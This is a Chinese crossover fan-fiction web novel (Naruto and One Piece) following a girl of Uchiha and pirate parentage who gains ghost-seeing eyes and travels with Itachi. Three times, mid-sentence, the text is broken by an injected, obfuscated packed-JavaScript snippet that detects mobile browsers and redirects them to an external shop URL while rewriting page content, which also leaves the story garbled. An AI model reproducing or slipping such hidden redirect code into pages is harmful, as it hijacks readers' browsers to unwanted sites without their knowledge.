《宇智波,但阴阳眼》 1. 心理准备 铃音隐藏在暗处,闭上眼睛感知周围。 风吹过树林的沙沙声,小溪汩汩的水流声,鸟儿在枝头跳动的细碎蹦跶声—— 突然,她从低矮灌木丛中冲出,朝着东南方向快速移动。 最近这几年,兔子被折腾得进化了。 到处打洞不说,稍微有点儿风吹草动就立即跑回家躲个没影,想吃一次兔肉得好费些功夫。 不像几年前,都傻乎乎的,她冲上去就能一手一只。 比如此时,铃音还没来得及悄悄靠近,灰兔子耳朵就高高竖起,警觉地左右张望,连嘴巴里的草都来不及嚼就立马双脚弹射逃跑。 得亏她腿脚灵活,几个闪身就到了兔子身后。 灰兔子意识到危险,猛地矮身转向,意图混入草丛躲藏。 铃音赶紧掷出三枚飞镖。 “嗖嗖嗖——”飞镖正中兔子。 灰兔子倒在草丛旁挣扎,后退还下意识弹动。 铃音慢条斯理上前,拎起兔子耳朵温声安抚,“小兔子你放心,我不会让你白白牺牲的!” 有的兔子死了,但会变成美味的辣椒兔肉留在她的身体里。 就在这时,林子深处传来一声愤怒的嘶吼。 是野猪的声音。 附近怎么会有野猪出没? 铃音疑惑着,跳上树枝循着声音观察那边的动静。 不远处,野猪前蹄被捕兽夹刺穿,鲜红的血液顺着伤口流出,刺激得它格外暴躁。 它的正前方,则是一名被吓得跌倒在地的普通村民。 村民哆哆嗦嗦把柴刀比在身前虚张声势,“你不要过来啊!” 铃音当然不会袖手旁观,快速赶过去。 等野猪进入射击范围,铃音便赶紧扔出几枚飞镖吸引注意。 飞镖精准扎进野猪屁股里,野猪立马嗷呜一声,转身看偷袭者。 敢伤害它山林霸主的屁股,它要这个两脚兽付出代价。 村民见野猪转向,根本不敢久待,一溜烟就没影了。 走的时候甚至还没忘带上砍刀和半筐柴。 见对方成功逃离,铃音也松了口气。 她跳下树和野猪商量,“野猪大哥,今天我不太想吃猪肉……你看要不这样,我帮你把飞镖和扑兽夹取下来,你自己乖乖回山里去怎么样?” “哼哼哼哼——”野猪鼻子里喷出粗气,似乎在说,你什么档次,也敢和我讨价还价。 它全身用力冲向铃音,势要把她撞散架。 铃音拎起兔子就跑,得亏她腿脚快,不然肯定被撞成了肉饼。 果然,不能期待所有动物都和乌鸦一样聪明。 野猪前蹄受伤,耐力也不好,跑着跑着开始大喘气。 铃音得意地在一棵树上站定,朝下方叫嚣,“有本事你上来呀!八嘎八嘎八嘎~” 这一行为果然惹怒了野猪。 野猪后退几步再猛的往前冲,本就不算特别粗壮的树干开始摇摇晃晃起来。 铃音抱紧树干,警告野猪,“你再继续撞树的话,别怪我不客气了!” 只可惜野猪根本听不懂她的好心劝告,又是几个猛冲,树干不堪重负“咔嚓”倒下。 看她掉落,野猪蓄力冲来。 “都说我今天不想吃猪肉了!” 铃音手握成拳,烦躁地朝野猪脑袋上揍去。 她的拳头看起来毫无杀伤力。 野猪避都不避主动迎上,预备把她连人带拳头一起掀翻。 然而下一秒,它的身体就被这个看着不起眼的拳头揍得身体猛地转向,砰的一声撞击,整个猪体嵌进石壁里。 脑袋上流出的红色液体染红了它的视野,野猪魂魄升天,到死都没想明白刚刚发生了什么。 铃音望着三四百斤的野猪躯体十分无奈,叹了口气。 “没办法,只能带回家吃掉了。” “嘎——嘎——”树上的乌鸦像是在附和她。 铃音快速收拾好散落的飞镖,扛着野猪下山。 她不觉得这样有什么问题,可苦了偶尔才上山一次的花子。 花子从好友秋葉家离开,刚拐回主路,就见斜前方山上冲下来一只骇人的大野猪。 她心都被提到了嗓子眼,偏偏两条腿不争气,脚一软跌坐在地,只能双手撑地不停往后退。 完了完了,被野猪撞一下她不死也残。 她正想着要怎么逃命你,就听野猪冲她喊,“哎,花子欧巴桑,下午好呀~” 这野猪成精了? 谁是你的花子欧巴桑啊! 花子往后蛄蛹的动作更加迅速。 直到野猪身下探出张甜美可人的笑脸,花子婶才倏地停下动作,整个人摊在地上。 哎,铃音这孩子……可真是! 花子从地上爬起来,拍拍刚被蹭上的泥土,“原来是铃音啊……你怎么扛着头野猪?!差点吓死我了!” 这么头三四百斤重的大野猪,成年男人对付起来也费劲,铃音这小丫头,细胳膊细腿儿的,怎么对付得了? 花子不由得脑补起“笨蛋野猪踩了陷阱发狂磕树上撞死了,被路过的铃音捡到”的画面。 嗯,一定就是这样! 毕竟以前秋葉也总能这样在山上捡到各式各样的猎物,铃音作为她的孩子,继承了这项天赋也说不定。 “你应该叫大家过来帮忙抬的,累坏了吧!” “没关系,又不重。” 说着,铃音就把野猪往上面抛了抛。 看得一边的花子直吸气——野猪身体下落时的破风声这么响,居然不重? 这力气,应该是随了铃音父亲吧! “花子婶婶你找母亲有什么事儿吗?” 村里就铃音她们一家住在半山腰,平时都是她们下山去找花子。 花子婶婶是村里最会做衣服的人,做得又快又好,铃音的衣服大多就是出自她手。 用布料边角料和棉花做布娃娃玩偶也是花子教铃音的。 花子这会儿已经缓过来了,“嗨,也不是什么大事儿。” “你母亲跟我说,她终于改主意了……要我说,她早该这样的!” 话刚起了个头,花子就住了口,笑呵呵道,“不过还是让她亲自跟你说吧!我得赶紧回家了!” 哪有人话刚起个头就走的啊! 铃音被这话弄得一头雾水。 如果不是身上扛着头野猪,她高低要追上去问个清楚! 走到家门口,铃音对花子婶婶说的“那事儿”终于有了点眉目。 除开做衣服这门手艺,花子婶婶作为村里的情报中枢,还兼职帮人说媒。 她早就看不惯母亲为了父亲苦等这么多年,一直都在劝母亲改嫁,之前母亲一直没松口。 结合花子婶刚才的满脸笑意,花子婶婶说的“终于改主意”应该就是这个。 母亲决定再嫁了! 铃音举双手双脚赞成。 她三岁之前没什么记忆,对亲生父亲的印象更是模糊,关于父亲的大多数内容都是从村里人的闲聊中拼凑出来的。 父亲是海船出事后随船只残骸漂流到了这里。母亲途经村子的时候和父亲相遇。两人一见钟情,之后很快就有了她。 后来,父亲突然恢复记忆说要找什么宝藏,造了艘简陋的木筏出海后就没了音讯。 大家都猜测他死在海上了。 海上状况瞬息万变,有这样结局也是无可厚非。 唯独苦了母亲,始终不愿相信现实,眼巴巴等了他这么些年。 铃音的记忆里,母亲确实常常望着海面发呆。 她那时年纪小,总是没心没肺地在一旁堆沙子挖海虹捞章鱼捡螃蟹,玩儿得不亦乐乎。 父亲离开七年,如果母亲能想开决定再嫁也是件好事。 回到家,母亲熟练地接下铃音打回来的野猪,行云流水地便把野猪肢解,和平常没有什么区别。 铃音乐滋滋用小铁锅炒了辣椒兔丁,用大锅煮了满满一锅土豆排骨炖肉。 排骨选的都是最好的仔排部分,炖得软烂,捏着骨头轻轻一啃就能唆干净。 弹牙的排骨肉柔嫩多汁,一点儿也不塞牙,吃得人身心舒畅。 里面的土豆也不遑多让,被煮成了半融化的形状,汤汁里也满是浓郁的肉香,和饭拌在一起,又能多吃几大碗。 铃音目前正在成长期,不管吃多少食物,一会儿就消耗光了,完全没有长胖的烦恼。 母亲食量倒是和平常差不多,添了一次饭吃完后就放了碗筷。 之后,铃音便被母亲叫到房间。 母女面对面坐下,房间气氛有片刻的沉默。 铃音抬眼观察母亲,一不小心就入了神。 母亲很漂亮,跟他们这个偏远贫穷小村落甚至有些格格不入。 白皙无瑕的皮肤,精致立体的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427005|200882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五官,不点而红的朱唇,乌檀木一般的黑长秀发,高挑曼妙的身姿……加上她不通庶务,家里也从不缺钱用,铃音常怀疑母亲是出身某个世家大族的贵族小姐。 “铃音,你今年十岁……有些事情也是时候告诉你了。” 这氛围,是要和她谈“那个”吧。 铃音露出一副“我懂”的表情,笑着回答,“有什么事母亲你就直说吧!我已经做好心理准备了。” “看来你已经有所察觉了……” 不是我发现的,是花子婶说漏嘴了,铃音默默在心里接话。 无论如何,她都会坦然接受然后祝母亲幸福的。 谁叫她已经是个十岁的大孩子了呢~ “其实……” “我曾经是个忍者。” 铃音手里的茶杯差点被捏碎。 诶? 诶诶诶?! 原来母亲是忍者吗!!! 母亲不过就是身体强健一点、打猎的准头高一点、跑步的姿势奇怪一点,怎么突然就是忍者了呢?! 铃音吞咽口水,还是有点接受无能,忍不住再次朝母亲确认。 “是那种参加战争、搜集情报、暗杀敌人的忍者?” “是!” “是那种几个手势之后就能吐出水流火海砂石,手掌往地面一拍就能召唤出强大通灵兽的忍者?” “是!” 铃音似乎听见了世界观崩塌的声音。 原来《坚强毅力忍传》(注1)居然不是幻想作品而是纪实作品吗?! 铃音又觉得不对,“这么多年我也没见过你用过忍术啊?” “这个啊……”秋葉女士尴尬挠头,“我们家族还挺有名的,出门在外自然要隐藏身份,不然被仇人认出来挺麻烦的。” “有名?” “宇智波。” 铃音噔一下就站了起来,“就是那个‘天才的宇智波’的宇智波家族?” “嗯。”秋葉点点头。 虽然承认自己是天才的宇智波很不要脸,但事实就是如此,他们一族于忍术一道上就是更有慧根。 “那我也能觉醒写轮眼吗?”要知道,她读《坚强毅力忍传》的时候最喜欢的那个配角就是宇智波,写轮眼什么的,太酷了! “照理说可以。”秋葉又补充道,“不过不能觉醒写轮眼其实也不是什么坏事。” “太好了!” 铃音欢呼起来,根本没听进去后半句。 见她一副意外惊喜的模样,秋葉反倒疑惑了,“你之前说有心理准备,为什么还这么惊喜?” 铃音被拉回正题,“哦,不是这个心理准备啦~” “那是什么的心理准备?” 事到如今,铃音也不准备猜来猜去了,干脆明示道,“我今天回家的时候,撞见花子婶婶了。” 秋葉恍然大悟,“你是说那件事儿啊……” “我确实还没想好怎么跟你说。” “不过,我最近经常和他在村子里说话,你估计也猜到了吧。” 最近,经常,说话?! 铃音当即便锁定了人选。 前段时间,她确实好几次看到母亲和村里渔夫走在一起。 两人有说有笑,站在海边一聊就是大半天。 回家之后母亲还总哼着欢快的小曲。 只是当时觉得渔夫大叔配不上自家貌美温柔的母亲,她也就没放在心上。 现在听母亲这么一说,还有什么不明白的! 虽然她觉得母亲值得更好的,但归根结底,还是母亲自己的想法更重要。 她不会阻拦母亲追求幸福。 当即铃音便表示,“不管母亲你做什么,我都支持你!” 要是渔夫家接受不了她这个拖油瓶,她就还住在这里,想母亲的时候就去渔夫家拜访,当亲戚一样和渔夫相处。 就是秋葉女士还这么年轻,或许很快就会和对方有别的孩子,不再是她一个人的母亲了。 想到这,铃音还是有点儿难过,只有一点点。 “有你这句话我就放心了……” 母亲温柔抚摸铃音的头,“我终于可以放心出海去找你父亲了。” “诶?……啊?” 铃音思绪慢了半拍。 她的思绪在“不是要告诉我再嫁的消息吗”和“怎么就要出海了”之间纠结一番,最后问出一句,“我父亲,不是死了吗?” 2. 恶魔果实 面对铃音的提问,秋葉女士还是那句话,“你父亲没死。” 铃音才不信,父亲失踪这么多年,还活着的概率趋近于零。 她更倾向于母亲是去海上寻找父亲的尸骨回来安葬。 但是不管父亲死没死,有一件事是确定的——母亲最近总去找渔夫,不是要再嫁,而只是想找人带她出海。 她以为是母亲想开了,没想到是母亲想出海了。 铃音实在不愿意母亲为个不值得的男人冒险出海,“如果父亲他没死,那怎么这么多年都没有回来过?” 如果那人没死,就是个抛弃妻女的渣男! 还不如死了呢! “他说找到One Piece就会回来见我们的……” “也许是被什么事绊住了,正需要我的帮忙。” 秋葉女士点点头,越说越觉得自己的猜测有道理,“所以我必须出海去找他!” 哈? 都这个时候了,居然还在为那个男人开脱! One Piece是个什么了不得的东西,值得他这么多年都不回家? “真不知道母亲你喜欢那个男人哪里!” 铃音这里,父亲已经降级成了那个男人。 “你父亲和我认识的忍者不一样,他直率真诚,很爱笑,和他在一起相处很轻松自在。” 秋葉陷入回忆,“亲爱的除了把你挂在鱼钩上钓大鱼、吃霸王餐的时候忘记带你一起跑、逗你和小狗比赛谁先把扔出去的球捡回来以外,其他都挺好的——” 不,一点儿都不好吧! 怪不得她没有三岁以前的记忆。 原来自己小时候生活得这么水深火热。 被铃音目光一刺,秋葉女士赶紧从贴身佩戴的御守里掏出张白色纸片转移话题。 小纸片放在手心,往东南边缓缓移动。 “这是你父亲的生命卡!只要卡片还在,就代表他人就还活着,按照纸片的方向一直走,就能找到他。” 生命卡? 铃音伸出两根手指拈起小纸片左右打量。 秉持着科学严谨的态度,她正面看看、反面看看,还撕开了一个小口,怎么看,这只都是一张普通纸片。 至于为什么小纸片会往东南移动,当然是因为他们村这段时间总刮西北风! 会指路的“生命卡”? 渣男骗女孩的小把戏罢了! 母亲却对这张小纸片深信不疑,“我相信你父亲,他不会骗我的。” 每一个被诈骗的人都是这样想的! 该拿什么拯救你,我的恋爱脑母亲! 铃音真担心母亲出海第一天所有盘缠就被骗走换成保健品,提出自己的想法,“我和你一起出海找父亲!” 海上未知的风险那么多,万一短命老爹的尸骨没捡回来,她把自己也搭进去了怎么办? 海上风暴可不会对美人手下留情。 “不行。”秋葉立即否决了这个提议,“海上情况复杂,我没把握能照顾好你。” “而且你现在正是上学的年纪……我以为你是个普通人,才只教了你一些体术,最近发现你觉醒了查克拉,还是得去忍者学校系统学习。” 秋葉揉了揉铃音遗传自她父亲的红发,“别担心,我已经联系了族人过来接你,你到了那边好好学习,乖乖长大,等我找到你父亲,我们一起回来接你。” “宇智波族人?”铃音回忆起小说里对宇智波家族的描写,“他们都好高冷的……而且我一个人都不认识。” “别担心,族人们都很团结友爱的……你有什么困难就去找族长,他当初欠我一条命,肯定会好好关照你的!” 母亲去意已决,把一切都安排好了,铃音也只好答应下来。 第二天,母女二人就开始收拾行李。 之后她们大概率不会再回这里,屋子里的东西能搬走就尽量搬走,不能搬走的母亲已经答应送给花子。 花子婶婶昨天那么开心也是因为这个。 路途遥远,带的东西越少越方便,铃音只挑拣了几件她认为必要的东西。 她生日母亲送的忍具套装、布娃娃玩偶×5、今年新做的衣服…… 所以当她看见母亲把家里那个花纹诡异的“邪恶摆件”塞她包袱里时,当即就把那东西捞出来,漫不经心在手里抛上抛下,“这就不用了吧——” 这东西长得歪七扭八,形状像个骷髅头,皮上还布满扭曲的漩涡状花纹,看着就渗人。 “怎么不用,这东西是海上的特产,叫什么‘恶魔果实’,说是吃了能获得力量。” 具体什么功效秋葉忘得差不多了,就记得这东西吃了能变强,价格还非常昂贵。 “这东西能吃?” 这玩意儿从铃音记事起就摆在家里了,这么多年过去,就算当初能吃,现在还能吃? “能吃,吧。”秋葉女士目光闪躲,透露出几丝心虚。 “毕竟是你父亲从海军手里抢来的,你就算不吃,把它当是个装饰品也好。” 说得也是。 等等——桥豆麻袋桥豆麻袋! 什么叫从“海军”手里抢来的? 这行为听起来很不妙啊! 这种不妙的感觉在铃音看到那几箱据说是父亲留下的、金光闪闪的财宝后,攀到了顶峰。 几箱金灿灿亮晶晶,手腕粗细的金链子、缀满各色宝石的金匕首、分量十足的纯金头盔以及拇指指节大小珍珠穿成的奢华项链……全是价值连城的珍宝。 她从来不知道自家原来这么有钱—— 这些根本就不像是她们这样的家庭能拥有的啊! 该不会是抢劫了哪里的国库吧! “这些你都带走,就算不喜欢也可以卖掉当零花钱。” 铃音喉咙干涩,“所以,父亲他究竟是干什么的?” “海贼啊——”母亲漫不经心回答道,“我之前没给你说过吗?” 当然没有啊! 铃音还以为自家短命父亲顶天了也就是个籍籍无名的航海家,死在了证明“地球是圆的”的伟大航程里。 结果秋葉女士就这么轻描淡写说出了很不得了的话。 亲爱的母亲,你到底还有多少惊喜是我不知道的?! 所以果然是抢劫了某个地方的国库吧! 吃点儿东西压压惊。 铃音顺势塞了点东西进嘴巴,嚼嚼嚼。 她确实期待自己有一个不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427006|200882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 简单不普通的厉害身世。 但复杂诡谲命途多舛到这个地步,还是有点接受无能。 忍者的妈,海贼的爸,还有一出生就考不了公的她——话说这个世界能考公吗? “阿呕~” 还来不及思考更多,铃音就被嘴里诡异难吃的味道攻击,瞬间回神。 等瞧清楚手上的东西,她又是一连串“yue~yue~yue~” 噫!她刚才把那颗奇怪的果子吃了! 这跟“咬了口苹果发现里面有半条虫”有什么区别?! 秋葉女士赶紧端来茶水给铃音漱口。 “咕噜咕噜咕噜——呸!” “咕噜咕噜咕噜——呸呸呸!” 难吃的余味仍旧残留。 这东西绝对是已经放坏了吧! 铃音红着眼睛发出控诉,“真的有人会吃下这么难吃的果子强化身体吗?” 身体强健没有铃音不知道,灵魂要快升天了倒是真的。 秋葉对这东西也是一知半解,见女儿反应这么大,以为是哪里出了问题。 她关切地看向自家女儿,“你现在感觉怎么样,有没有觉得哪里不舒服?” 铃音静静体会了一下,发现自己除了有点儿恶心以外没什么不舒服。 倒是一股凉悠悠的感觉从她肚子扩散到身体各处,消除了夏日的暑意。 非要说的话,也就是眼睛凉悠悠的,有种从720p升级到4k的畅快轻松感。 “看得更清楚了,感觉眼睛好像觉醒了什么了不得的超能力?”铃音也有点不确定道。 对此,秋葉女士反应平平。 “等你之后觉醒了就会知道,写轮眼才是最厉害的!” 额,铃音第一次知道自己的母亲是个这么有集体荣誉感的人。 之后的某天,秋叶女士独自拎着少量行李上船了。 “我已经提前同族长通过气,过几天应该就会有人来接你,到时候你跟着走就行。” 母女俩紧紧拥抱,之后挥手告别。 铃音都不知道母亲是什么时候联络族人的,明明也没见她寄信。 母亲出海后的第三天,铃音正坐在廊下发呆呢,院里就来了几只乌鸦,嘎嘎嘎对她叫嚷。 以前秋叶女士在家的时候,看见乌鸦总会喂他们吃些谷类、肉条,估计这群乌鸦把她们家当做固定的食物刷新点了。 铃音去厨房翻了把稻米撒给乌鸦们,它们果然就消停了。 “感觉喂乌鸦和喂鸡,似乎也没什么区别。” 铃音的嘀咕被乌鸦听见了,一群乌鸦围着她啄了满头包。 “哎哎,轻点儿!是我说错话了!!” “乌鸦大人你们放过我吧!我再也不会拿你们和鸡作比较了!” 没等她重新坐回廊下缓缓,院门突然被叩响。 “谁啊?”铃音一边朝院门走,一边询问。 外面是个陌生的少年声音,“请问这里是秋葉女士家吗?” 铃音没有第一时间开门,而是隔着门盘问对方,“你是谁?找她干什么?” 外面的少年没有因为被铃音怀疑而生气,语气沉稳,“我是宇智波鼬,是来接她女儿回村的族人。” 3. 启程回村 这次外出,鼬顺利完成任务后正准备回村,接到父亲的联络,让他拐来这个小渔村接一名族人回村。 信上简单交代了少女的身世。 少女母亲是宇智波族人,十年前执行潜藏任务时和一名普通男子相恋,之后成婚生下少女。如今这位族人准备出海寻找失踪的丈夫,便将女儿委托给族中照顾。 委托族人照顾孩子这种事在宇智波一族还是挺常见的。 往常有族人意外去世,族内都会搭把手照顾他的孩子到忍校毕业。 听说这个女孩之前都是被当做普通人养大的,不知道她之后能不能适应木叶的生活。 鼬在忍鸦的指引下来到村子,几乎没费什么功夫就找到了这个小院。 这个小院沿途种着些不知名的小花,深深浅浅的紫色小花竞相绽放,院内树枝上还悬挂着几个手工制作的乌鸦窝。 一看就很有宇智波的风格。 对方有点儿谨慎,但不多。 确认他名字之后就爽快开了门。 院内的少女年纪和他相仿,皮肤雪白,脸上带着些婴儿肥,还有头火焰般的红发。看上去与其说是宇智波的血脉,不如说更像是漩涡一族的后代。 她身上没有多少训练痕迹,浑身上下都是破绽。如果是自己的暗杀目标,估计已经死十次了。 这会儿她头发乱糟糟的,额头上还有被什么戳出来的红印,看起来有点儿狼狈……是被人欺负了? 鼬打量铃音的时候,铃音也在打量门外的鼬。 刚才隔着门听声音,铃音就听出对方年纪不大,却没想到会这么年轻,也就比她大三四岁? 少年戴着尖角螺旋状的木叶护额,穿一件深蓝色立领半袖,身后背着把长刀——看上去确实不好惹。 “那个,你说你是来接我的族人,那你能证明一下自己吗?给我展示一下写轮眼什么的……”铃音突然意识到对方年纪并不大,连忙改口,“要是你还没觉醒的话就算了。” 第一次见面就叫宇智波展示写轮眼,就像对忍者说“把你的苦无露出来给我摸摸,我看能不能刺死我”一样。 鼬感觉有点儿微妙。 不过他没有拒绝,写轮眼确实是最好证明身份的方式。他将查克拉汇聚到眼部,眼眸倏地变红。 铃音就这样和他对视上,觉得自己呼吸都差点停止了。 三个逗号,是货真价实的三勾玉诶! 幸好鼬对她没有恶意,眼睛很快恢复正常。 如果她是自己的暗杀目标,已经死十一次了。 鼬暗自心想。 门外除了鼬,就没有其他人了。 “就你一个人来接我?” 铃音也不是怀疑鼬的能力。 只是她准备带走的行李太多太重,两个人实在不好弄走。 她的行李挑挑拣拣只装了一箱,父亲留下的财宝还有满满三箱……一路上估计不会太平。 少年眼睛微咪,淡淡开口。“我一个人足够了。” 这位同族少年还挺傲气的! 转念一想,人家可是三勾玉,一下就能理解了。 铃音带着鼬先去看了要带走的行李,指着打包好的箱子,“这些都是要带走的行李。” 鼬看了之后没说什么,出去了一趟,就牵回来一辆两匹马拉的大马车。 木箱被两人抱上车厢,之后,鼬便坐上赶马的位置,示意铃音也坐上来。 铃音失望地叹了口气,跳上马车。 马车沿着大道缓缓下山。 “你好像很失望?” 铃音理所当然地点点头。 “《坚强毅力忍传》里面有写,忍者有特别的储物卷轴,我还以为你会‘铛铛铛’掏出一张卷轴,‘啪’地拍过去,‘嘭’的一下行李就全被装进去,之后我们就能不带任何负担地轻装上路——” 没想到鼬的解决方式意外朴实无华。 “我也能理解啦,你毕竟还年轻……那种储物卷轴应该很贵吧,没准操作也很复杂~” “马车也不错,我不嫌弃的~” 鼬实在忍不住瞪了铃音这个外行一眼,“储物卷轴是拿来放特殊道具的,忍者不会用它装行李!” “而且我们也不会发出‘啪’‘嘭’‘铛铛铛’的声音!” 这个被当做普通人养大的家伙到底哪儿来这么多对忍者的刻板印象啊! “还有,不要总试图给我挽尊……听起来像是在嘲讽!” 一路上,忍鸦在前面带路,两人交替着驾车往前。 “此山是我开……” 路上遇见了几伙不长眼的山贼,口号都还没说完,就被两人联手给解决了。 铃音虽然不会什么忍术,但打猎这么些年也有些战斗本能,体术方面并不弱。 之后两人便没有那么陌生了,还有空一起闲聊。 也是这个时候铃音才知道,鼬今年才十二岁,并且已经是中忍了。 因为鼬看起来比较成熟,她还以为对方已经十四五岁了呢。 铃音忧心忡忡地叮嘱他,“鼬你平时也要注意皮肤防晒和补水呀,不要以为自己年轻就放松警惕,眼周细纹看起来真的会老好几岁……” 鼬:……你有点冒昧了。 “我这都是为你好……你在村子里是不是都没什么真朋友,要不怎么没人提醒你?” “我有朋友!止水只是不在意这些东西而已!” 铃音晃晃手指,一副“少年你太天真了”的表情。 “你确定他真的把你当好朋友吗?没准儿他自己每天偷偷护肤但不告诉你呢?” 鼬忍不住想象每天暗部任务结束后止水取下面具涂脸护肤的画面—— 怎么可能啊!真是被铃音给带偏了! 止水怎么可能是那种人! 一天后,穿过一段低矮山坡,马车驶入了一片平地。 铃音忍不住感叹,“这片区域感觉好开阔。” 鼬点头,为她科普,“之前木叶和雾隐村在这附近发生过冲突,发生过大规模爆炸。” 请列举忍界平原地形的成因:河流沉积、地壳运动、风力堆积……以及人为因素。 无用的忍者地理知识点+1。 见天色已晚,两匹马也有些疲劳了,鼬在路边找了个位置安营扎寨。 他连引火的树枝和枯草都不用,直接把大块的木柴架起,吸气后朝下面一吹,火就生起来了。 每年秋日祭的时候,母亲也会用类似的方法点燃篝火。 那时候她以为是普通的喷火杂技表演。 看起来很神奇,实际是嘴里提前含了煤油或松香营造出来的喷火假象。 现在回想起来,其实那就是火遁术吧! 真是失敬。 之后,鼬又掏出一个瓷瓶给她。 瓷瓶里面是黑不溜秋的兵粮丸。 不难吃,但也不好吃,干巴巴的,还有股淡淡的药味。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427007|200882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进嘴之后还会吸水变大,有点难嚼。 吃下去确实会有饱腹感,但……铃音一点儿也不开心! “我们已经连续两天都吃兵粮丸了,鼬你都不会腻吗?” 人类进化到食物链顶端难道就是为了吃这种东西的吗?! “不会。”鼬为兵粮丸代言,“这样很方便。” “对自己好点儿吧!”铃音有些恨铁不成钢。 忍者每天活动量这么大,光吃这个会营养不良的。 见鼬已经闭上眼靠在马车上休息,铃音也不打扰,转身扎进附近的低矮灌木丛。 没一会儿,她就在周围抓到一只嚣张的肥鸡。 捡柴火的时候,她发现一位戴着木叶护额的棕发少女正看着她。 对方看上去年纪不大,两边脸颊各一道紫色纹路,上身黑色长袖,下身则是时髦的浅粉色半裙搭配打底裤和过膝长袜。 “哈喽,你好呀~” 少女目露惊讶,“你能看见我?” 这说的什么话? 这么大个人谁看不见? “能看见哦~啊——你难道用忍术伪装过自己?被我不小心看破了?” 铃音想起自己吃下恶魔果实那天的奇妙感觉,“莫非我觉醒了能看透一切伪装的超能力双眼?!”不愧是我! “你也是木叶的忍者?一个人在这里,是在执行任务吗?” “是……”少女停顿了一下才继续道,“我的任务已经完成了,只是一直没办法离开这里。” “迷路了?”果然不是每个忍者都能让乌鸦在前面引路呢。 铃音大方邀请,“那你和我们一起吧~我们正要去木叶。” “对了,我叫铃音~你叫什么呀?” “野原琳。” “诶,真是个好名字~” 铃音把柴火捆好,和处理好的野鸡一起拎起来,“走吧,跟我一起回去。” “我的同伴也是木叶忍者,你们没准儿还认识呢~” 铃音就这样拉着新认识的小伙伴走回落脚点。 “鼬,你快醒醒——我刚刚抓野鸡的时候遇见一个木叶忍者,和我们年纪差不多大,她在林子里迷路了,我就邀请她和我们一起走了~” “你快看看,没准儿还是你认识的人呢~” 鼬听到说话声叹了口气,铃音这家伙会不会太没有戒备心了一点。 因为同样是木叶的忍者就把对方抓来一起吃晚餐,万一对方是伪装成木叶的忍者骗取她信任的呢? 再说,木叶的忍者会犯迷路这么低级的错误,也只有铃音会信了吧! 当初第一次见面的时候也是,问了一句他的名字就开了门,太容易相信别人了—— 他无奈地睁开眼,偏头看向铃音身后,询问,“人在哪儿?” “不就站在这儿吗?”铃音指着身后的少女。 “你身后没有人。” “哈哈哈哈……鼬你这家伙居然也会开玩笑?” 鼬的眼睛变化,呈现红色勾玉花纹,仍旧没发现除了铃音以外的活物存在。 “我没开玩笑。” 铃音转头看向身后,棕发少女分明就在那里站着,脸上还带着温柔的微笑。 写轮眼不行啊。 居然没看穿琳的伪装。 铃音这样想着,目光扫过地面。 温暖的火苗摇曳,橘黄色的亮光照亮营地。 而琳的身下,居然没有影子! 4. 亡灵玩偶 没有影子! 那琳是什么? 鬼?! 铃音拳头敲在掌心,作恍然大悟状——原来琳是鬼啊! 这个世界除了忍者,居然还有亡灵……真是越来越有趣了! 长这么大,她还是第一次见到活生生的鬼! 这样说好像不太对…… 栩栩如生的鬼? 好像也不太对。 铃音想了半天还是没能想出合适的措辞。 这并不影响她跟人分享,“鼬,说出来你可能不相信,我这双眼睛,能看见鬼。” 写轮眼再厉害,顶多也就能看破幻术、看清查克拉走向。 她的双眼能突破阴阳分隔,果然还是她更厉害! 鼬是个纯粹的现实主义者,淡淡瞥眼,“鬼怪都是人们幻想的产物。” 要是真有鬼,他早就被杀死的鬼联合起来碎尸万段了。 “你是不是不小心吃了毒蘑菇出现幻觉了?” 鼬这家伙太固执了,这反应完全就是不相信她说的话。 “就没有什么办法能让鼬也能看见你吗?”铃音小声和琳嘀咕。 琳双手摊开,透露出无奈,“这么些年我也只遇到你一个能看见我的。” 鼬盯着自言自语的铃音陷入思索,不是中毒或者中了幻术,难道是妄想症? 怪不得秋葉女士还要拜托父亲照顾铃音——等回到村子果然还是请医疗忍者好好给铃音检查一番吧。 树枝燃烧发出细碎的噼啪声。 “喂~” “喂!” “铃音,你再不翻面,野鸡就要被你烤糊了!”鼬出声提醒道。 铃音从思索中回过神,手上的野鸡已经被鼬抢了过去。 虽然嫌做饭麻烦,但鼬处理野物的动作很熟练,翻面、刷油的时机也都恰到好处。 烤鸡的油脂顺着表皮滴下,引起火苗瞬间攀高……让铃音看得口水直流。 鼬甚至还从随身的腰包里掏出一瓶调味料撒在烤鸡上。 这家伙看上去一副“我吃兵粮丸也能活”的清心寡欲样,没想到私底下装备这么齐全。 香料与鸡肉接触的瞬间,烤鸡香味被无限放大,蛋白质被炙烤发出独特的气味,混合着辣椒孜然等多种香料的复合香气,连琳这只鬼魂都被勾起了馋虫。 “好香啊——他怎么厨艺这么好?和我认识的宇智波完全不一样。” 